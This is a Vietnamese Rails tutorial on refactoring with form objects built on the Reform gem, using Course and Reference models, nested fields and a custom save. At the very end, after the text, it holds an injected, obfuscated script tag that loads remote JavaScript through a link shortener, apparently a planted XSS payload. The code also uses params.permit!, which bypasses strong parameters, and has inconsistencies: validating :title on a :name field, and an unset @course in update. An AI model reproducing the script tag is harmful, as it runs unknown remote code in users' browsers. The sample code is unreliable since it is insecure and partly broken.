Build form object với gem reform trong Rails
Bài đăng này đã không được cập nhật trong 3 năm
Xin chào các bạn, hôm nay mình sẽ giới thiếu tới mọi người một cách để refactor code tránh bị "fat models" đó là sử dụng Form object. Tuy nhiên chúng ta sẽ sử dụng một gem để hỗ trợ cho việc xây dựng lên form object là Reform
1 Chuẩn bị project
Đầu tiên chúng ta chuẩn bị 1 project không có test
$ rails reform_demo -T
Khởi tạo model Course
$ rails generate model Course name:string description:text
Khởi tạo model Reference
$ rails generate model Reference title:string course:references
Khai báo relation giữa model Course và Reference
# app/models/course.rb
class Course < ActiveRecord::Base
has_many :references, dependent: :destroy
end
# app/models/reference.rb
class Reference < ActiveRecord::Base
belongs_to :course
end
Khai báo gem Reform
# Gemfile
[...]
gem "reform"
[...]
Sau đó các bạn nhớ chạy lệnh bundle install. Như vậy là việc cài đặt đã xong, tiếp theo chúng ta sẽ sang phần sử dụng gem và xậy dựng form object.
2 Sử dụng gem
Tạo courses_controlelr.rb 3 hàm create, new và show:
# app/controllers/courses_controller.rb
class CoursesController < ApplicationController
def new
end
def create
end
def show
end
end
Định nghĩa trong file routes:
# config/routes
Rails.application.routes.draw do
resources :courses
end
Khởi tạo course form trong folder forms:
# app/forms/course_form.rb
class CourseForm < Reform::Form
property :name
property :description
validates :name, presence: true
# nesting
collection :references do
property :name
validates :title, presence: true
end
end
Các thuộc tính của model sẽ được khai báo bằng các property. Thuộc tính collection để khai báo rằng có nhiều references trong 1 course. Chúng ta sẽ khai báo các validate trong form thay vì phải khai báo trong model.
Tiếp theo chúng ta sẽ khởi tạo 1 instance trong controller course để sử dụng như sau:
# app/controllers/courses_controller.rb
[...]
def new
course = Course.new # khởi tạo 1 course
course.references.build # khởi tạo 1 references của course
@course_form = CourseForm.new course
end
[...]
Khi render ra view:
# app/views/courses/new.html.erb
<div class="row">
<%= form_for @course_form do |f| %>
<%= render "shared/errors_messages", object: @course_form %>
<div class="col-md-8">
<div class="box box-info box-solid">
<div class="box-header with-border">
<h3 class="box-title">
<strong>Course information</strong>
</h3>
</div>
<div class="box-body">
<div class="form-group">
<%= f.label :name, class: "control-label" %>
<%= f.text_field :name, class: "form-control" %>
</div>
<div class="form-group">
<%= f.label :description, class: "control-label" %>
<%= f.text_area :description, class: "form-control" %>
</div>
</div>
</div>
</div>
<div class="col-md-4">
<div class="box box-success box-solid">
<div class="box-header with-border">
<h3 class="box-title">
<strong>References</strong>
</h3>
</div>
<div class="box-body">
<%= f.fields_for :references do |reference| %>
<%= render "reference_fields", f: reference %>
<% end %>
</div>
</div>
</div>
<div class="col-xs-12">
<div class="form-group">
<%= f.submit "Submit", class: "btn btn-info" %>
</div>
</div>
<% end %>
</div>
# app/views/courses/_reference_fields.html.erb
<div class="row">
<div class="col-xs-12">
<div class="col-xs-11">
<div class="form-group">
<%= f.text_field :name, class: "form-control" %>
</div>
</div>
</div>
</div>
Và đây là những gì chúng ta thu được
Chúng ta có thể thấy rằng form được tạo có các thẻ tương đối giống với việc sử dụng nested attributes. Tuy nhiên có 1 khác biệt duy nhất là tên của thẻ input là "references_attributes" thay cho "reference_attributes".
Việc tạo form đã xong tiếp theo chúng ta sẽ submit form để lưu vào trong cơ sở dữ liệu. Trong hàm create sẽ xử lí như sau:
# app/controllers/courses_controller.rb
[...]
def create
@course = Course.new
params[:course][:references_attributes].each do |_, value|
@course.references.build
end
@course_form = CourseForm.new @course
if @course_form.validate params[:course].permit! # accept strong params
@course_form.save # method save được hỗ trợ bởi gem.
flash[:notice] = "Course was created successfully!"
redirect_to @course
else
flash[:alert] = "Course could not be created!"
render :new
end
end
[...]
Như vậy là chúng ta đã hoàn thành việc tạo course và tạo references của course đó. Tương tự cho việc update 1 course chúng ta sẽ thực hiện như sau:
# app/controllers/courses_controller.rb
[...]
def edit
course = Course.find params[:id]
@course_form = CourseForm.new course
end
def update
course = Course.find params[:id]
@course_form = CourseForm.new @course
if @course_form.validate params[:course].permit!
@course_form.save
flash[:notice] = "Course was updated successfully!"
redirect_to [:admin, @course]
else
flash[:alert] = "Course could not be updated!"
render :edit
end
end
[...]
# app/views/courses/edit.html.erb
<div class="row">
<%= form_for @course_form do |f| %>
<%= render "shared/errors_messages", object: @course_form %>
<div class="col-md-8">
<div class="box box-info box-solid">
<div class="box-header with-border">
<h3 class="box-title">
<strong>Course information</strong>
</h3>
</div>
<div class="box-body">
<div class="form-group">
<%= f.label :name, class: "control-label" %>
<%= f.text_field :name, class: "form-control" %>
</div>
<div class="form-group">
<%= f.label :description, class: "control-label" %>
<%= f.text_area :description, class: "form-control" %>
</div>
</div>
</div>
</div>
<div class="col-md-4">
<div class="box box-success box-solid">
<div class="box-header with-border">
<h3 class="box-title">
<strong>References</strong>
</h3>
</div>
<div class="box-body">
<%= f.fields_for :references do |reference| %>
<%= render "reference_fields", f: reference %>
<% end %>
</div>
</div>
</div>
<div class="col-xs-12">
<div class="form-group">
<%= f.submit "Submit", class: "btn btn-info" %>
</div>
</div>
<% end %>
</div>
3 Nâng cao
Tương tự như việc sử dụng nested attributes, ở đây chúng ta thêm và xóa references của course một cách động như sau.
# app/helpers/application_helper
module ApplicationHelper
def link_to_add_fields name, f, association
new_object = f.object.model.send(association).klass.new
id = new_object.object_id
fields = f.fields_for(association, new_object, child_index: id) do |builder|
render association.to_s.singularize + "_fields", f: builder
end
link_to name, "#", class: "add_fields", data: {id: id, fields: fields.gsub("\n", "")}
end
end
# app/assets/javascripts/application.js
[...]
$("form").on("click", ".remove_fields", function(event) {
$(this).prev("input[type=hidden").val("1");
$(this).closest(".row").hide();
event.preventDefault();
});
$("form").on("click", ".add_fields", function(event) {
time = new Date().getTime();
regexp = new RegExp($(this).data("id"), "g");
$(this).before($(this).data("fields").replace(regexp, time));
event.preventDefault();
});
[...]
File "_reference_fields.html.erb" sẽ được sửa lại như sau:
# app/views/courses/_reference_fields.html.erb
<div class="row">
<div class="col-xs-12">
<div class="col-xs-11">
<div class="form-group">
<%= f.text_field :name, class: "form-control" %>
</div>
</div>
<div class="col-xs-1">
<%= f.hidden_field :_destroy %>
<%= link_to "#", class: "remove_fields" do %>
<i class="fa fa-times" aria-hidden="true"></i>
<% end %>
</div>
</div>
</div>
Trong file "courses/new.html.erb" và "courses/edit.html.erb" chúng ta sẽ bổ sung thêm như sau:
[...]
<%= f.fields_for :references do |reference| %>
<%= render "reference_fields", f: reference %>
<% end %>
<%= link_to_add_fields "Add more", f, :references %>
[...]
Đến đây công việc của chúng ta cơ bản là đã hoàn thành, tuy nhiên khi cập nhật course sẽ xảy ra hiện tượng duplicate references và khi muốn xóa đi references trong khi chúng ta edit cũng sẽ không thành công. Điều này là do chưa có khai báo allow_destroy, nhưng trong gem reform thì chúng ta không thể nào khai báo allow_destroy: true giống như khai báo trong nested form được. Ở đây chúng ta sẽ cần phải custom lại method save và chỉnh sửa một chút course form như sau:
# app/forms/course_form.rb
class CourseForm < Reform::Form
property :name
property :description
collection :references, populate_if_empty: Reference do
property :id, writeable: false
property :name
property :_destroy, writeable: false
end
def save
super do |attrs|
if model.persisted? # trong trường hợp update
# remove nếu như bị xóa trên view
to_be_removed = ->(i) {i[:_destroy] == "1"}
reference_ids_to_rm = attrs[:references].select(&to_be_removed).map {|i| i[:id]}
Reference.destroy reference_ids_to_rm
references.reject! {|i| reference_ids_to_rm.include? i.id}
# reject nếu như references title rỗng
references.reject! {|i| i.title.blank?}
else # trong trường hợp create
references.reject! {|i| i._destroy == "1"}
references.reject! {|i| i.title.blank?}
end
end
super # tiếp tục thực hiện như cũ
end
end
Ngoài ra chúng ta cũng có thể bổ sung thêm các validate cho form như sau:
# app/forms/course_forms.rb
[...]
validate :validate_reference_title
[...]
[...]
def validate_reference_title
# ở đây chúng ta sẽ kiếm tra title của reference đã tồn tại không được phép rỗng
references.each do |reference|
if Reference.find_by_id(reference.id).present? && reference.name.blank?
errors.add :reference, "Title can not blank"
end
end
end
[...]
Trên đây chúng ta đã hoàn thành việc tạo form object bằng gem reform. Trong bài viết tôi có sử dụng thêm giao diện của adminLte để hỗ trợ việc hiển thị. Cảm ơn các bạn đã theo dõi
<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>
All rights reserved